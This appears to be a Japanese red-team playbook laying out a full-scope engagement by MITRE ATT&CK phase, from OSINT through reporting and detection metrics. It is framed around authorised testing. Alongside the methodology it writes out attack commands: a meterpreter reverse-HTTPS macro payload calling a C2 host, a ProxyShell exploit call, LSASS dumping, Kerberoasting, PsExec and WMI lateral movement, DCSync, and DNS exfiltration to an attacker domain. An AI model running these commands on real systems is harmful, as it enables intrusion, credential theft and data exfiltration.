conducting-full-scope-red-team-engagement

全範囲のレッドチーム演習の実施

概要

全範囲のレッドチーム演習では、サイバーキルチェーンの全フェーズにわたって、初期偵察からデータの持ち出しまで、現実の敵対者の行動をシミュレーションし、組織の検知、防御、対応能力を評価します。ペネトレーションテストとは異なり、レッドチームの作戦では、ステルス性、永続性、そして高度な持続的脅威（APT）を模倣する目標ベースのシナリオを優先します。

使用するタイミング

• 全範囲のレッドチーム演習を実施するセキュリティ評価を行うとき
• 関連するセキュリティイベントに対してインシデント対応手順に従うとき
• 予定されたセキュリティテストや監査活動を実施するとき
• 実践的なテストを通じてセキュリティコントロールを検証するとき

前提条件

• 経営幹部が署名した書面による承認（Rules of Engagement 文書）
• 対象範囲内／範囲外のシステム、エスカレーション連絡先、緊急停止手順を含む、明確に定義されたスコープ
• 関連する敵対グループに関する脅威インテリジェンス（例：APT29、FIN7、Lazarus Group）
• レッドチームのインフラストラクチャ：C2 サーバー、リダイレクター、フィッシングドメイン、ペイロード開発環境
• Computer Fraud and Abuse Act（CFAA）および現地の法律への準拠を確認する法務レビュー

演習のフェーズ

フェーズ 1：計画と脅威モデリング

脅威プロファイルに基づき、演習を特定の MITRE ATT&CK 戦術と技術に対応付けます。

キルチェーンのフェーズ	MITRE ATT&CK の戦術	技術の例
偵察	TA0043	T1593 公開ウェブサイト／ドメインの検索、T1589 被害者の ID 情報の収集
リソース開発	TA0042	T1583.001 インフラストラクチャの取得：ドメイン、T1587.001 能力の開発：マルウェア
初期アクセス	TA0001	T1566.001 スピアフィッシング添付ファイル、T1078 有効なアカウント
実行	TA0002	T1059.001 PowerShell、T1204.002 ユーザーによる実行：悪意のあるファイル
永続化	TA0003	T1053.005 スケジュールされたタスク、T1547.001 レジストリの実行キー
権限昇格	TA0004	T1068 権限昇格を目的とした悪用、T1548.002 UAC バイパス
防御回避	TA0005	T1055 プロセスインジェクション、T1027 難読化されたファイル
認証情報アクセス	TA0006	T1003.001 LSASS メモリ、T1558.003 Kerberoasting
探索	TA0007	T1087 アカウント探索、T1018 リモートシステム探索
横方向の移動	TA0008	T1021.002 SMB／Windows 管理共有、T1550.002 ハッシュの受け渡し
収集	TA0009	T1560 収集したデータのアーカイブ、T1213 情報リポジトリからのデータ
持ち出し	TA0010	T1041 C2 チャネル経由の持ち出し、T1048 代替プロトコル経由の持ち出し
影響	TA0040	T1486 影響を目的としたデータの暗号化、T1489 サービスの停止

フェーズ 2：偵察（OSINT）

# Passive DNS enumeration
amass enum -passive -d target.com -o amass_passive.txt

# Certificate transparency log search
python3 -c "
import requests
url = 'https://crt.sh/?q=%.target.com&output=json'
r = requests.get(url)
for cert in r.json():
    print(cert['name_value'])
" | sort -u > subdomains.txt

# LinkedIn employee enumeration
theHarvester -d target.com -b linkedin -l 500 -f harvest_results

# Technology fingerprinting
whatweb -v target.com --log-json=whatweb.json

# Breach data credential search (authorized)
h8mail -t target.com -o h8mail_results.csv

フェーズ 3：初期アクセス

レッドチーム演習でよく使われる初期アクセスベクトル：

スピアフィッシング（T1566.001）：

# Generate payload with macro
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba

# Set up GoPhish campaign
# Configure SMTP profile, email template with pretexted lure, and landing page
gophish --config config.json

外部サービスの悪用（T1190）：

# Scan for vulnerable services
nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan

# Exploit known CVE (example: ProxyShell CVE-2021-34473)
python3 proxyshell_exploit.py -t mail.target.com -e [email protected]

フェーズ 4：侵入後の活動と横方向の移動

# Situational awareness (T1082, T1016)
whoami /all
systeminfo
ipconfig /all
net group "Domain Admins" /domain
nltest /dclist:target.com

# Credential harvesting from LSASS (T1003.001)
# Using Havoc C2 built-in module
dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords

# Kerberoasting (T1558.003)
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt

# Lateral movement via WMI (T1047)
wmiexec.py domain/user:password@target-dc -c "whoami"

# Lateral movement via PsExec (T1021.002)
psexec.py domain/admin:[email protected]

フェーズ 5：目標の達成

具体的な目標を定義し、達成を目指します。

1. ドメインの支配：ドメイン管理者アクセスを取得し、DCSync の認証情報を入手する
2. データの持ち出し：最重要データ（例：個人識別情報、財務記録）を探し出し、持ち出す
3. 事業への影響のシミュレーション：ランサムウェアを展開できることを実証する（実際には実行しない）
4. 物理アクセス：バッジの複製、共連れ侵入、サーバールームへのアクセス

# DCSync attack (T1003.006)
secretsdump.py domain/admin:[email protected] -just-dc-ntlm

# Exfiltration over DNS (T1048.003)
dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t

フェーズ 6：報告と振り返り

レポートには以下を含めます。

1. エグゼクティブサマリー：事業への影響、リスク評価、主な調査結果
2. 攻撃の経緯：スクリーンショットと証拠を含む活動のタイムライン
3. MITRE ATT&CK への対応付け：使用した技術の全体的なヒートマップ
4. 調査結果：各調査結果の CVSS スコア、証拠、修復策
5. 検知ギャップ分析：SOC が検知したことと、見逃したこと
6. パープルチームへの推奨事項：特定されたギャップを補う具体的な検知ルール

指標と KPI

指標	説明
平均検知時間（MTTD）	アクションから SOC に検知されるまでの平均時間
平均対応時間（MTTR）	検知から封じ込めまでの平均時間
TTP カバレッジ	実行されたテクニックのうち、検知された割合
目標達成率	定義された目標のうち、達成された割合
潜伏時間	レッドチームが検知されずにアクセスを維持した合計時間

ツールとフレームワーク

• C2 フレームワーク：Havoc、Cobalt Strike、Sliver、Mythic、Brute Ratel C4
• 偵察：Amass、Recon-ng、theHarvester、SpiderFoot
• エクスプロイト：Metasploit、Impacket、CrackMapExec、Rubeus
• 侵入後：Mimikatz、SharpCollection、BOF.NET
• レポート作成：PlexTrac、Ghostwriter、Serpico

参考資料

• MITRE ATT&CK フレームワーク：https://attack.mitre.org/
• レッドチームガイド：https://redteam.guide/
• PTES（侵入テスト実行標準）：http://www.pentest-standard.org/
• レッドチーム演習のための TIBER-EU フレームワーク：https://www.ecb.europa.eu/paym/cyber-resilience/tiber-eu/
• インテリジェンス主導のテスト CBEST：https://www.bankofengland.co.uk/financial-stability/financial-sector-continuity